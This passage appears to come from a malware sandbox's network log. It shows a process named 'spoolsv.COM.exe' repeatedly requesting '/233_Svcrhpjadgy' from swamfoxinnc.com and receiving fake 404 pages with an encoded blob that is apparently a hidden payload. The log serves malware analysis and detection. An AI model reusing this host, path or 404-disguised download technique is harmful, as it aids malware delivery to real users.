2024-12-23 06:38:36 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:37 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:37 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:37 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49864	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:38 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:40 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:40 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:40 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:40 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:40 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:40 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49875	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:42 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:43 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:43 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:43 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:44 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:44 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:44 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49883	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:46 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:47 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:47 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:47 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:47 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:47 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:47 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49894	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:49 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:50 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:50 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
